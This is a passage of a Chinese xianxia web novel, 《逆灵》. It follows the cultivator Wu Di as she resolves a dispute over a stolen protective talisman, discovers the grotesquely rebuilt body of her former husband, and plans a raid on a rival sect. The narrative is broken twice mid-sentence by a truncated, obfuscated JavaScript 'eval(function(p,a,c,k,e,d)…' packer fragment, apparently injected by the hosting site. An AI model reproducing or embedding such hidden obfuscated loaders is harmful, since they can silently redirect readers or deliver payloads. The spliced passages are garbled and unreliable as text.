其实也简单,就是地上这个撒泼打滚的女人找上门来,说她女儿不小心把楚泽方给的护身符弄丢了,想重新要一张。 但是楚泽方从一开始就立下规矩,城中每人只能领一张护身符,不管有什么理由,也不能多给。因为每张符都是要耗费不少灵力的,如果开了个头,以后人人都找借口多要,她们几人无力支撑,还必会引发纷争。 楚泽方师徒好说歹说,这女人就是不听,甚至要动手抢夺刚画好的符。楚泽方的大弟子元野去拦她,她一碰就倒,现在非说是娏天宗仗势欺人,出手打她,躺在地上不肯起来了。 她哭闹声音甚大,引来许多人围观。那些人也没见着之前发生了什么,只听她说被元野打伤,这会儿都议论纷纷,一片嘈杂。 哎哟,经典的闹事手法啊。 金徽文低声说:“师尊,跟这种人有什么好吵的,干脆真的揍她一顿算了。” “诶诶,所以说叫你多喝茶呢,不要动不动就这么暴力啊。” 金徽文不服:“我又没说要打死,怎么就暴力了?” 呃,差点忘了这孩子最初的人设就是“跋扈大小姐”,到了娏天宗,跋扈变成优点,作战时可不就需要神挡杀神佛挡杀佛的气魄吗。只是,遇到任何事情都二话不说蛮力碾压,未免有点太粗糙了。 吴迪打量着她:“难道以前你就跟姜舜华学打打杀杀,没跟风遥学点文化艺术陶冶情操?” “学了啊,但是那些《夺命曲》《断魂歌》《群尸乱舞乐》都太难了,我还学不了……” “不是说这些艺术啊!”吴迪对这个宗门的暴力倾向哭笑不得,“咳,行了,说正事,你且想,如果打她一顿就能解决问题,你四师姨和这些师姐们难道不会动手?这可是修为已在第五层第五阶的圣应真君诶,她动动手指,不,随便叫个巡城傀儡,待会儿这里就可以上演《群尸乱舞乐》啦!” 金徽文若有所思:“哦,那她们定是怕下手太重。我修为低,保证能掌握轻重!” 吴迪扶额,感受到了当老师的艰难。她只能指向旁边,说:“你看看她呢?” 顺着她的指示,金徽文看到了“罪魁祸首”,那个弄丢护身符的小女孩。她不过七八岁年纪,衣着破破烂烂,很不合身,头埋得低低的,小拳头攥得紧紧的,像一只惊恐的小鸟。 啪嗒。一滴水落到地上,是那孩子在哭。但她没有发出声音,只是默默流泪,身体微抖。 这样一个畏畏缩缩的小孩,如果说是被人偷抢了符,可能还更加真实。只是城里有巡城傀儡维护秩序,偷、抢是断然无人敢犯的,所以她母亲只能说是她自己弄丢了。 纵使如此,孩子看着也太可怜了。围观人群中有好多姥姥大姨,同情地看着她,一脸不忍。有个年轻女子甚至握着自己的护身符,欲前不前,显然在纠结,是不是要把自己的符送给她。 金徽文若有所思,迟疑了。 吴迪说:“看到这些人没有,她们不是坏人吧,你要把她们都打一顿,或者粗暴赶走?当然也可以,但恐怕没人会心服。而人这种东西呢,心不服就会想方设法跟你暗中捣乱。注意啊,眼下不是我们单方面保护她们,我们也需要她们把城守住,不然魔物吞人越多,力量越强,对我们越不利,你说是么?” 这下,金徽文终于明白了。她点点头,站到一边,专心看吴迪如何解决。 吴迪上前,向众人拱手:“列位高邻,圣应真君还要为大家画符,不可在此久耽。我是她七师妹吴迪,有事与我商议吧。” 她说着,一甩袍子,在香案前的圈椅坐下,再把“饶命”往香案上重重一放。 众人一齐看向她,嘈杂声戛然而止。她指着地上打滚的女人,问:“谁认识她?” 一个眼距狭窄,鼻子硕大的男人上前:“小人是她的里正李长吾,这婆子是李三老婆,平时倒是个贤惠媳妇,见了人不声不响的。今天这样,不知是否真有冤情?望仙师明察。” “嗯,一定给她公道。这样,既然她声称我们的人打伤了她,那就劳烦你找人给她验个伤吧。若真伤了,我们给她疗伤,重金赔偿,绝无二话。好了,你带她走?” 李长吾没料到她这么爽快,不由一愣。那女人却一骨碌从地上坐起来:“不,这怎么能是药钱的事!你们得赔、赔我一张护身符!” 这才是她真正想讹的东西。这年头,有多少金银意义也不大,一张护身符则千金难求,她可不傻。 吴迪身子后仰,悠然靠在椅背上:“有没有打伤你,是一件事;你小孩弄丢符,能不能再给一张,是另一件事。两件事互不相关,要分而论之。前者,我会在乡亲们见证下,给你公正处理。至于后者,我们早立下规矩,符一人一张,绝不多给,没得商量。” 金徽文在旁猛做笔记:“解决争端法术之一——将夹缠之事分离。” 女人卡壳了,找不出问题,只好躺下继续打滚:“见死不救啦,太狠心啦,这么小的孩子,难道就没个粗心大意的时候?不给张护身符,遇到魔物怎么办啊!你们就要看着她去送死吗,好狠的心啊,这样还算什么修道之人啊……” 吴迪低声对金徽文说:“这个用我老家的话说叫‘道德绑架’,不占理的时候,人就会使这一招。” 她清清嗓子,厉声道:“孩子丢了符,也是娘老子没看好。你这当娘的,怎么不把自己的符给她?莫非舍不得,宁愿看她去死?好狠的心啊,这样还算什么母亲啊!” 金徽文记笔记:“法术之二——拒绝绑架,绑架对方。” 围观群众连连点头,女人急了,叫道:“我给她了呀!两、两张都被她弄丢了!这熊孩子,你说她真是——” 女孩被她一指,立刻吓得发颤,直往旁边躲。楚泽方的大弟子元野见了,忙把她护在身后,挡住了她母亲吃人般凶狠的目光。 好一个胆小可怜的孩子。这样的孩子,会调皮捣蛋弄丢性命攸关的东西吗? 吴迪冷笑,心中已大致分明。她喝道:“岂有此理!救命的东西,丢一张已经够过分了,还丢两张,乡亲们谁信?要么你详细说说,第一张丢在哪了,第二张又丢在哪了?我们那么多巡城傀儡天天巡视,难道这城里还有贼不成?要不要我挨家挨户地搜查?” 徽文记下:“法术之三——抓住漏洞,将其扩大,穷追猛打。” 众人的议论声中,吴迪一拍香案,震得宝剑跳了一跳:“够了,少在我跟前弄鬼,让你的老公和男儿滚出来!” 女人一惊,所有人都是一惊。 “玄门料事如神,有什么事情我不知道?李三,别躲了,否则休怪——” 话音未落,一个弯腰驼背的男人搂着一个肥头大耳的小男孩,从柱子后走了出来。 徽文愣了会,记道:“法术之四——勘破表象,发现躲在暗处的罪魁祸首!” 李三赔笑道:“咳,仙师,俺老婆小家村妇,不明事理,你就别跟她一般见识了。咱们这就回去,这就回去……” 胖男孩却不乐意了,大叫道:“爹,我还没拿到符呢!” 他娘又急又气,不停地给他使眼色,男孩却根本看不见。吴迪见他年龄与女孩相仿,体型却大了一圈,便问道:“原来是你拿了妹妹的符?” “那是我姐!”男孩满脸不屑,高昂着头,“谁拿她的了,本来就是我的!” 众人啧啧,尤其是姑娘们的目光,大都从同情变成了鄙视。吴迪手一挥,一阵风刮过,席卷三人,一张灵符翩然飞出,悬停在半空。 一张,只有一张,是从李三怀里飞出的。 “呵呵,一家四口,只剩一张,还有三张上哪去了?” 一大一小两个男的,相视一眼,都不作声。女人急了,正要张嘴继续圆谎,一个怯生生的声音从元野身后响起: “被、被弟弟拿来玩了……他想看看流火覆体是个什么样,就先用了自己的。娘把我的给了他,他又用了,去吓唬黄狗。最后娘把自己的给他,再三叮嘱不能再浪费了,他却又去捉弄隔壁王二丫……” 女孩终于露出了脸,虽然仍有一半藏在元野身后,虽然脸颊上还满是泪痕。但她终于勇敢了一次,使出全部勇气,结结巴巴地说完了真相。 围观者顿时炸开了锅。而女孩的母父急得跳脚。 她娘尖叫:“死丫头你可真会撒谎,分明是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚泽方忽然拉住她,向她轻轻摇头。 “诶?” 楚泽方:“你去帮元野看孩子吧,我怕她今天触了霉头,心情不好,照应不过来。” “哦,好的!”徽文应下,跑后殿去了。 空荡荡的庙宇中,唯有师姊妹二人沉默相对。吴迪叹了口气,走到墙边,去看那斑驳而粗糙的壁画。 无非是真神显灵,因果报应之类。但事实上没人见过真神,那寥寥几个飞升上去老祖也杳无音信,谁知道神界是个什么样,神灵们又在做什么? 若神灵有知,这世道为何如此混乱,如此颠倒? 过了一会,楚泽方小心翼翼地凑过来:“小师妹,你生气了?不要跟百姓一般见识,他们愚,是因为不曾修行问道,我们应该多担待才是……” “不,没生气,这地方比起丁州算是正常多了。”吴迪宽慰地拍拍她的手,“至少看热闹的还有一半女人,哈哈,哈哈。” 楚泽方连连点头。 “你放心,我不会说什么保护有些人不值得之类的气话,我又不是小孩子了,刚刚我还教徽文冷静呢。” 她一口气把楚泽方本来要说的话全说了,倒搞得楚泽方无话可说。而且她还笑着,一如既往的懒散、戏谑、无所谓的笑,面对这样的笑容,谁还能表达什么关心和劝慰呢? “那你忙吧,我回东城门了。待会叫徽文来城墙上找我。” 说着,她转身离去。走到城隍庙外,才渐渐敛起笑意。 楚泽方太细腻了,能察觉到她心中有事。但她不会知道,这无关于刚才的闹剧,更无关于县民的蠢言蠢语,而是来自那个胖男孩最后的眼神。 虽然他被强行拖走,虽然他还很矮,很快就淹没在人群之中,但那短暂的眼神交汇,让吴迪的心震颤了一下。 那是深深的恨。 恨灭门凶手一般的恨。 “你有,就应该给我!” 不给,就是他的仇人。 吴迪又顿悟了,但这次顿悟的,是很黑暗的事: 以前遇到的魔物,化魔都是因为被夺走了什么东西,比如女婴们被夺走了生命,才化为娃娃鱼。 可是,还有一种恨,不是因为被夺走,而只是因为没有得到。 压抑。愁苦。愤怒。好像很吵闹,但是,又很空洞——她昨夜在魔核绿雾中体会到的情绪,初时只觉莫名;而现在,她好像懂了。 19. 《逆灵》19 “向左,低头,攻它下盘,冻,烧!” 三百个头的线头怪,顷刻间化成一堆细细粉末,连惨叫声都来不及发出。绿色的魔核稀里哗啦掉了一地,像一场翡翠之雨。 “不错不错,进步很快。”吴迪坐在远处山崖上,一边扇扇子,一边品味着自己新制佳酿“棒打先人”。 金徽文抹去脸上的汗水,摊开袋子,把魔核一一捡起。有几个站在附近观摩的少年,也跑来帮她,大家边干活边讨论着刚才的战斗。 “冰火连用,威力真的好大!”说话的是姜舜华的二弟子语千秋,“关键是能够瞬间切换,金师妹对灵力的掌控着实强悍。” 庄南华的大弟子孟知远笑道:“徽文,你这个功法好呀,下次我炼剑淬火,就靠你了!” 元野不喜说话,只是跟着她们笑。倒是金徽文主动问她:“元师姐,听说你们在尝试把逆灵引入灵符中,成功没有?” “没、没有,但有一点新发现……” 她们身后跟着个蹦蹦跳跳的小女孩,正是棋盘镇那孩子。她没有灵根,只是凡人,但此刻也一点不胆怯了,甚至把魔物骨灰当作沙滩,欢快地玩了起来。 已经一个月过去了。她的母父不知是不敢还是不想,压根没来找过她——当然,就算他们来找,这孩子也不能交给他们了。喜欢孩子的金云飞和她一见如故,已将她收为养女,现在,她的名字是金徽仪。 金徽仪本来像个小瘦猴似的,被金云飞养了一个月,就成了个白胖娃娃。娏天宗上一次有孩子,还是吴迪小时候,那已经是快四十年前了。所以,金徽仪瞬间得到了姥姥、姨姨、姐姐们全部的关爱,成了所有人的掌上明珠。 她没有灵根,修不了仙,但那又如何?只要识文断字,学好武艺,将来找到自己喜欢做的事,也足够度过完满的一生。 女孩们说说笑笑,开心得很。如果换了其他宗门,像徽文这样忽然突飞猛进,肯定会招来同辈忌恨。但在娏天宗不会,大家羡慕有之,但每个人都有自己的“道”,忙着做自己感兴趣的事情,哪有那么多心思去与别人比较? 这个宗门,没有什么外门、内门之分,甚至没有所谓“大比”,毫无竞争氛围,但所有人都在为了自己而上进努力。从客观条件来看,也是因为宗门资源丰富——她们从不像其他宗门那样希图以人数取胜,广收弟子、四处攀引,娏天宗每一代的弟子数量都很少,仙姥那代就两个师妹,都隐居去了;下一代七个弟子,而这七人里风遥、姚希夷、卫婵都不愿收徒,姜舜华、楚泽方各有三个弟子,庄南华多一点,有五个,再加上吴迪的金徽文,一共也就十二人。 所以,其他宗门都像千军万马过独木桥,必须在排位赛中争个前列才能生存。而娏天宗就没有这种压力,唯一的压力来自于那不进则退的《婋奾宝典》,来自于自我放弃。 吴迪以前只觉火林山偌大山头太过冷清,对外面热闹的花花世界挺好奇的。去经历了一遍世事,才知宗门的可贵,现在是一点也不想离开了。 捡魔核的小姑娘们嘻嘻哈哈,顶着烈日回来了。吴迪举起杯子,笑问:“棒打先人,要喝一点吗?” “不了不了,谢谢!”几个师姪赶紧拒绝,“我们喝白水就行了。” “诶,白水有什么好喝?来试试这个吧!融合了骨山果、龙须草、青糖浆,清热解毐静心安神,连饺子喝了都沉醉了一天……” “原来是你啊!” 语千秋惊道,“我就说昨天饺子怎么萎靡不振瘫在那里,原来是中毐了!” “怎么说话呢,什么中毐?它那是在、在升级,嗯,升级。不信你今天回去考考它,没准孩子已经智力陡增,会背圆周率了。” “开什么玩笑啊!没被毐傻就算幸运了!” 吴迪把自己的创新饮品递到金徽仪面前,没想到连这小丫头也连连摇头,躲得老远。正在伤心,金徽文踊跃上前,接过杯子,一饮而尽。 其她几人惊呆了。 “呃……”金徽文深吸一口气,“确实新鲜,很、很清凉!” 语千秋:“你的表情分明是像被棒打了啊!就这么爱师尊吗,这也太拼了!” 为避免被拉入品鉴团,孟知远给大家使个眼色,拱手道:“七师姨,我们就先告退了。徽文,待会儿在桦树林来找我们,一起吃烧烤啊!” “阿姐,我给你烤香菇……”金徽仪一句话没说完,已被元野一把捞起,扛在肩头。几个人就这样一溜烟地跑了。 山崖上只剩师徒俩,吴迪自己把“棒打先人”喝完,脸色严肃起来。 等的就是这帮小鬼走开,现在,她要关起门来训话了。 “金徽文!” “啊?” “我刚才虽当着大家夸你,但你也不要自喜,好好想想吧,今天犯了什么错?” 徽文一脸茫然。 吴迪拿出姚希夷制作的万花筒,轻轻一转,便投射出一段刚才的战斗场景。这是魔物刚出现时,三百个头齐齐吐出绿雾,金徽文在其中左冲右突闪避开来,用火刀直直斩下一颗头。 少年摸着下巴,欣赏着自己的影像:“这不是……很帅吗?” “帅你个头啊!再仔细看!” 吴迪又放了一遍,可惜这世界的顶配技术也没有慢放一说,还是动作飞快一闪而过,搞得少年愈加迷惑。吴迪耐着性子,给她连放四五遍,她终于瞥到了关键,叫道:“啊,你救我了!” “是啊,你当时只顾着躲前方的毐雾,差点就被右下角这个偷袭的线头绊倒了好吗。若不是我紧急出手让它停了三息,你摔倒在地,还能逃么!” “哦……”徽文心有余悸,“大意了,大意了。” “跟你说了多少遍了不要一味蛮干,你一天天的在急什么?就不能等它喷完毐雾再上吗?这么一会儿也等不了?怎么,是不是看到敌人就忍不住大展身手,你身手再好,观众也就那些死人脑袋,还指望它们夸你啊?!” 吴迪训起人来毫不含糊,如疾风劲雨,直说得金徽文这般骄傲的少年也面红耳赤发誓改正才作罢。末了,她缓和语气,说:“行了,去跟她们吃烧烤吧。晚上回岩洞,帮我带个话跟大师姐,就说我今天有事,要很晚回来了,不必等我对战。” 之前她答应过要每天和姜舜华打一场,就真的说到做到,每天晚上和她比试。在切磋中,两个人都进境很大,受益无穷。不过,今晚要爽约了。 徽文问:“师尊要去哪里?” “我们中老年人也有娱乐好吧。咳咳,大人的事,你别管。” “哦哦。”徽文点头,“师尊最近辛苦啦,是该好好休息。那、那我就告辞了?” “嗯,去吧。” 少年迈着轻快的步子下山去了。待她走远,吴迪从白玉坤乾戒中取出一样物事——千里相思镜。 她不是要去哪里花天酒地,而是要去处理一件重要的事情了。 这一片名为仁州的地区,魔物已扫除干净,暂得清闲。徽文也已实力大增,无须多忧。她终于有时间可以去一趟秋江县。 这一个月,她始终用一部分神识监视着镜子,但镜中人没有任何异常,不过是过着单调平凡的生活,时而钓鱼,时而砍柴,偶尔到县城采买,独来独往。 人物卡的二号角色肖凋则完全不见踪影。田厉好像一个朋友也没有,也不想找人相伴。 吴迪总觉得很怪,却又找不到古怪的根源。只能怀疑自己当初想多了,确实是系统没有更新,而不是这几人在继续扮演cult片主角配角。 可这还是无法解释为什么熔化魔核就能看到田厉。难不成,是姚希夷这镜子也有什么隐藏的bug? 而最终让她下定决心去秋江县亲眼看看的,是棋盘镇李家男孩的那股恨意。 她感到,自己像一只胡乱爬行的蜘蛛,一会儿摸到这条线,一会儿摸到那条线,而只需要再有一个外力拎住什么节点,轻轻一提—— 就能发现,这些看似乱七八糟的线,是一张完整而严密的网。 她必须投入这张网,这是她的责任。 三千里啊…… 她站起身,眺望南方。 北方山野辽阔,初秋的阳光倾洒在大地上,酣畅淋漓。它照亮了金色的麦田,也照亮了上面纵横斑驳的焦黑伤痕。它照亮了破败的城镇村墟,也照亮了其中重新升起的炊烟。最后,它溢出远方瘦硬挺拔的山峦,继续向南 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雌隼落在竹子上,竹叶积雨滴落,带来一片清响。随即,她重新化作女人,翩然落地。 “好地方啊,比北方舒服多了。”吴迪四下张望,感到每个毛孔都被雨雾滋润了,“对比起来丁州人过的是什么苦日子啊。” 按照金云飞的理论,魔物会优先攻击生活条件富足的地区。但可能是因为魔物从丁州滋生,还没有蔓延到南方,故而秋江县所在的如州尚未遭灾,仍是一片清静乐土。 这会儿,雨雾中万家灯火朦朦胧胧,一团团暖黄的光晕,让人心情也柔软起来。 吴迪撑一把油纸伞,向竹林深处走去。 顺着林间小路,转过几个弯,走过两座小石板桥,那座早已在镜中看得熟悉的小茅屋就出现在眼前。屋主睡得早,没有点灯。门口草棚下卧着一只大黄狗,听见脚步声就吠叫起来,引得院落里养的鸡也一阵骚动。 很有生活气息的农家小院,真的找不出一点异常。吴迪站在柴门之外,等着屋主出来迎接。 屋里的人被狗吠鸡鸣吵醒,点亮了灯,在纸窗上投出一个黑色人影。人影起身,披衣,起身开了屋门,沉声问道:“谁?” 全然陌生的声音,但好像又有那么一点儿亲近。吴迪惘然了一瞬,才回过神来,问:“我找田厉。” 不用动用神识在夜色中去看,她也能感知到,那人的动作忽然一滞。过了许久,他才撑开雨伞,向院门走来。 吴迪不由自主地握紧伞柄。 柴门吱呀一声打开了。 来人没有拿灯笼,在背后屋子的微光下,是一个逆光的剪影。但吴迪足以看清他的面庞,那酷似自己的,清秀、年轻又略显苍白的脸。 确实是凡人的气息,凡人的温度,凡人的心跳声。两人静静对望,吴迪在男儿脸上看到了难以言喻的复杂表情。 她知道,自己的外表十年来并没有任何改变,他不可能不认得。只见他眼神闪动,说不出是震惊还是疑惑,是狂喜还是愤怒,像是有什么东西牵扯着他一样,他向后猛退两步,嗫嚅道:“是你……” “是我。我来看看你。” “怎么、怎么是你?”他好像十分痛苦。 “让我进去,好么。” “不好……不行……”田厉扔了伞,转身向院子里跑去。但没跑几步,又像小腿被拽住,以一个扭曲的姿势强行停下,缓缓转过身来。 “你怎么了?”吴迪忍不住迈进了门槛,“田厉?” 他沉默不答。 “田厉?小厉?” 男人的身形在雨中寂然不动,心跳声越来越猛。 吴迪上前一步,那人忽然向她扑来,一双温热的手紧紧搂住她的肩膀。 “老、老婆!” 他呼出的热气拂过她耳畔,叫出的称呼却让她大惊失色。她猛然推开他,那脆弱的凡人之躯毫无还手之力,顿时被推出一丈远,倒在了地上。 “老、老婆……”他抬起头,血从五官七窍中涌了出来,却露出一个狂热的笑容,“你、你终于来……救我啦!” 20. 《逆灵》20 吴迪二话不说,使出“赤莲净世”,但火团还没碰到那人,汹涌的灵力就将他卷到几步之外,摔得血流满地。 她连忙止住火团,却见火光之下,那人的身体像豆腐渣一样,开始分崩离析。 他的皮肤一块块剥落,肌肉一团团解离,眼珠牙齿噼啪地掉了一地,但仍挣扎着向她爬来:“老婆,救我,救我……” 吴迪确定自己只是手推了他一把,刚才的神火根本没有碰着他。这到底是个什么东西,怎么莫名其妙就碎成了渣? 一块巨大的黄色脂肪落下,这具身体顿时门户大开,肚子上露出一个巨洞。透过洞口看去,纵使是见多识广的吴迪,也不由得倒吸一口冷气。 那是一个人头,田跌的头。无数神经血管从头颅上放射出去,连接着身体的种种部件,像一张精密的大网,所有丝线汇聚于正中的蛛王。 这颗头已经不能说话。它没有眼睛,没有牙齿,没有舌头,空洞的嘴里连着一根最粗的动脉,正在一蠕一蠕地搏动,通往那仍在有力跳跃的心脏。 脖子上那颗,原来只是一个假头而已。此刻,依然是它在发出声音: “他、他拆了我……是他……” 吴迪悚然。 为什么田跌尸骨无存,亦无残魂?因为他并没有真正“死亡”,只是被人废去所有灵力,肉||体拿来拆解重组,“组装”了一个全新的“活人”。 这是真的活人,有血有肉,有心跳有血流。凡人的肉眼自不必说,修士的神识能感应事物的存在和性质,那他们感应到的就是一个没有灵力的生命体。除非将其解剖开来,没人会发现这具躯体的异常。 所以,四师姐来过,但她都没有产生任何怀疑。 而吴迪用田跌断手的血召唤出了他的影像,并非是因为这是他的血亲田厉,而是因为这就是田跌本人。 至于他和魔血的关联…… “我的儿子,儿子们啊!”支离破碎、近乎只剩骨架和神经的“人”发出了最后的嚎叫,随即下巴脱落,只剩喉管还能发出“呼呼”的声音。 线头怪是田跌的子孙,所以,用魔血滴镜,就看到了它们的爹。至于田跌是出于自己的情趣,还是被人强迫才上演了这番《人〇杂交》,看看他现今的模样,还用多想? 真cult啊……囚禁亲爹,废除他所有修为,强迫他“制造”线虫怪,再把他拆解重组成和自己同样长相的活死人。这cult片男主,还真不是浪得虚名。 只不过,要维持这具用以迷惑修真界的躯体,必须压制田跌原本的记忆。所以,幕后黑手只给了他最单纯的思想,让他独来独往深居简出,还要住在陌生的环境,以免接触到熟悉事物激活记忆。 不料,这次找上门来的偏偏是吴迪。 如果说四师姐也是田跌知道的人,但也仅限于知道而已,田跌以前没有见过她本人,不足以唤起什么记忆。但对于吴迪,他有着刻骨铭心的恨和最深的执念,于是瞬间醒来,整个强行搭建的身体就像农民组装车撞上高速护栏,立刻散架。 吴迪怔怔地看着不断崩坏的田跌,心中如有惊涛骇浪不断拍打着堤坝。逆灵,是了,电影的名字仍然没改,仍然叫《逆灵·天命之战》。逆的是灵力,是天命,也是一切的伦常。 自古都说子是父的“骨血”,而如今,父成了子的“骨血”,父被改造成子的形状,成了子的替身。 田厉一定修成了很邪门的逆灵之术。他现今是个怎样的存在?藏身何处?在计划着什么? 还记得小时候的他,对于爹是无条件的崇敬啊,简直就像程序设置好的一样。这些年到底发生了什么,让崇敬转为了如此变态的恨意? “呼、呼……”四分五裂的肉||体仍在喘息,发出地狱般的声音。黄狗吓得夹紧尾巴觳觫不停,鸡窝中的鸡猛扑翅膀想要逃离。秋雨大了,一阵飘风吹过,田跌头颅干枯的眼窝顿时盛满雨水,如在哭泣。 “哎,田跌,我本来以为你是个精神层面的人渣,没想到在物理层面上也成为人渣了。”吴迪幽幽叹息,“这样子,真丑啊。” 她还记得,多年前的宗派大比上,十八岁的少男白衣胜雪,一招“万刃归宗”刺破对手的玄冰之墙,顿时冰雪纷纷,金光闪烁,惊艳了单纯少女的眼睛。 人渣被风雨打得更烂,彻底不成人形,各种组织流得到处都是,腥味扑鼻。 但那颗头颅依然完整,似乎打不烂煮不坏,能永远支撑一丝呼吸。 “呼、呼……嘶!” 火球吞没了那具残躯,瞬间净化了所有痛苦、罪恶与恩怨。 熊熊烈火在雨中腾起,转瞬吞噬了茅屋、竹篱和柴门。唯有黄狗和鸡群在雨中逃出生天,不,还有一道灰色的身影,划开黑烟白雾,冲出雨幕,飞向天际。 【情节推进度25%,人设贴合度22%,预测票房值:4亿。】 阔别已久的牛马系统又阴魂闪现。 【喜欢新版剧情吗?刺激吗?】它得意洋洋,【好戏还在后头呢。】 “我那倒楣男儿在哪里?”吴迪冷冷地问。 【你不是有那个寻亲小法器吗,自己去找呗。】 “我猜他和他的兄弟们自有法子藏身,没那么容易找。” 【反正系统不能多说。只能告诉你,我们采用了新的模式,借鉴了即兴戏剧(Improv Theatre),你就自己发挥,就当开“电影盲盒”咯。】 “我迟早要开了你们的脑袋,等着瞧吧。” 牛马AI居然发出了一声冷笑,然后就下线了。寂静之中,吴迪冲出南方连绵的阴雨,飞回北方高爽的夜空,奔向遥远的北极星。 等她回到岩洞,已是晨光熹微。往返六千里,纵然她灵力深湛,也感到有些疲累了。当然,也或许是心累,毕竟,亲历那样的cult片场景,还是多少有点…… “喂,上哪去鬼混了啊?” 一个声音打断她的思绪。只见姜舜华坐在结界边闭目打坐,腿上还睡着个饺子,蜷成一团,正在呼噜呼噜。 “哦,就是去外面飞一圈。”吴迪摸了摸自己头发,雨水倒是在一路的风吹下干透了,看不出来,“要不要看我变个游隼?省得你到处巴巴地找鸟来观。” “瞧把你能的!”姜舜华抱着饺子站起来,笑着一点她的额头,“变成鸟,当心我饺子扑了你。走吧,出去坐坐,快日出了,咱俩一起看看。” 吴迪哪有心情看什么日出,但她知道姜舜华有话要说,所以还是去了。 到了洞穴外,两人找了块平整岩石坐下,正面着泛白的东方。秋季的清晨已经很凉,饺子在她们身后趴下,慢慢变成巨大的状态,用尾巴把她们卷在其中,做了个毛茸茸的小暖炉。 吴迪倒在火猫温暖的毛中,嗅着那太阳晒过的毛衣一样的气味,仰视着渐渐变淡的星空,心情平静下来。 “诶,我说,你的逆灵我虽然用不了,但我最近悟到一个跟逆灵相近的道理——姑且称之为‘逆理’吧。” “嗯?” “我知道我们修炼《婋奾宝典》为何常遇瓶颈,越往上越难以突破了。” “为什么?” “这是一个主客问题。”姜舜华语气一认真,宗师风范就出来了,“你以前有没有质疑过,我们为何是两套体系并行,既要讲修真界普遍那套练气、筑基、金丹、元婴、化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嗯,但愿如此。希望我们抓紧修炼,能早日上去看看就好了。” “确实需要抓紧……”吴迪想起这是个“好戏在后头”的cult片世界,就感到一阵紧迫。她正想说自己要去修炼了,姜舜华却把大猫尾巴搭到她肚子上,说:“不是叫你现在就抓紧,睡一会儿吧,日出了我叫你。” “我不用睡。”吴迪想要爬起来,却被大师姐按回大猫身上。 “少来了,我看你累得很,心事也很重。不想说也就算了,休息总是要休息的吧?” “我哪有——” “你啊,就是要强。” 吴迪一愣:“什么要强?” “说你啊!整个娏天宗谁不知道你最要强,不然你在凡界十年,怎么没人敢送米送油接济你一把?师尊都说:‘老七那个性子,被她发现你们可怜她,那就永远别想等她回来了!’搞得我们写了几封信就不敢再写,生怕触你这小鬼的逆鳞啊!” “诶诶,我竟是这样的人么?”吴迪哭笑不得,她自己一向觉得自己很随和,也以为自己不回师姐们的信,是怕她们担忧,没想到在别人看来,还有这样的原因啊。 “果然是人不自视其睫,你真的一点自知之明没有呐。”姜舜华摇头叹息,“你五岁上山,又没个亲人,大家那样宠你,你还是什么事情都一定要自己做。见到人家徽仪我才知道,哇,原来小孩子是这么可爱的!差点被某人骗了,以为小孩都是那样死装死装的呢。” 吴迪笑了:“那某人现在开始可爱还来得及吗?” “哈?——真恶心!少废话了,先给我乖乖睡觉!” 姜舜华说着,自己也靠在了大猫肚子上。饺子又呼噜噜起来,在这让人放松的声音中,吴迪真的睡着了。 她睡得很香很香,连那天的日出,最终都错过了。 21. 《逆灵》21 大地裂开,涌出岩浆之海,又一个师姐在姜舜华的“逆理”下,突破了第七层“熔海吞山”; 断简残碑,铜鼎玉琮,风遥在堆积如山的古物中抬起头来,喊道:“发现了!我发现了!心法还可以这样完善!” “线头怪都躲哪去了啊,给我滚出来!”金徽文和她的小伙伴们进步神速,已经找不到敌人来发泄一腔热血; 金云飞和宋青雨猛拨算盘,清点着堆积如山的魔核,紧张的啪嗒声中,偶尔传来几声孩子的笑,书桌下,一双小胖手正拿魔核搭积木玩,乐此不疲; 紫气覆体,发丝飘动,吴迪猛然睁眼,双目灵气大盛,她已经将《婋奾宝典》第八层“金乌裂穹”练至大成。 …… 三个月转瞬即逝,腊月的雪花覆盖了大地,整个仁州已不见魔物踪影,而此州灵气也已被如饥似渴的娏天宗彻底耗尽。 雪花落在掌心,瞬间消融无痕。吴迪只着薄衫,赤脚站在岩洞外的雪地里,眺望着山下的一片苍茫。 “喂喂,大家都在忙着收拾行李,就你清闲啊。” 来人是姜舜华。小猫形态的饺子在她脚边蹭来蹭去,在雪地上留下一串猫爪印。 吴迪大言不惭:“不是说好的宠我吗?现在我不装了,让你们尽情宠吧。” “是是是,你现在不仅是老幺,还是功臣,不宠你宠谁啊。”姜舜华拍拍她的肩,“你当初说,我们或许能逆转世界,现在看来,此言不虚。虽然我们用不了逆灵,但只需知道有它的存在,就已经把一切都改变了。” “那倒没这么夸张,离这个目标还很远吧?” “差不远了!”姜舜华信心满满,“你看仁州,如今多么干净?其他地方,我们也一个一个扫过去,不出一年,不说把这帮害虫扫得一个不剩吧,总得让它们躲进地下,再不敢冒头!而且,师尊马上就能修到焚天凰舞第九阶了,等她成神,想做点天翻地覆的大事还不容易?” 吴迪笑了笑:“灵气还够么?” 姜舜华正色:“这倒是个问题。哎,只能先回炎洲试试了。” 她们正是要回宗门所在的炎洲火林山修炼一段时日。恰逢冬季,战事暂歇,也倒是个好时机。 只是炎洲灵气虽然算充沛,也不知够这么多胃口大涨的女人用多久。 吴迪悠悠地说:“听说上仙宫有个神器,能跟踪天地灵气的流动,哪里灵气多,他们那几个长老就去哪里吸纳。我们现在,正需要这个东西。” “这个叫天球,是他们的镇山之宝。他们连内门弟子都不给用,只有长老独享,可不会外借。” “我想借,他们能不给?” 姜舜华也是个积年的悍匪,当然秒懂,笑道:“出息了啊,连上仙宫也敢抢了——走,带我一个。” “你去干啥?” “十年前他们来娏天宗帮田跌胡搅蛮缠,要不是师尊拉着我,我早跟他们大战一场了!现在正好,让我去出出气。” “算了算了,这点小事还不足以出动灵晖真君,把机会留给孩子吧。” “嗯?” “我带徽文去实习。” “这也是实习?!” —— “这也是实习?!”金徽文惊呆了。 吴迪:“怎么啦,你不是最喜欢这些事情了吗?” “啊,是很刺激。但是……师尊你不是老说要谨慎一点么,怎么突然要带我去抢劫上仙宫了?” 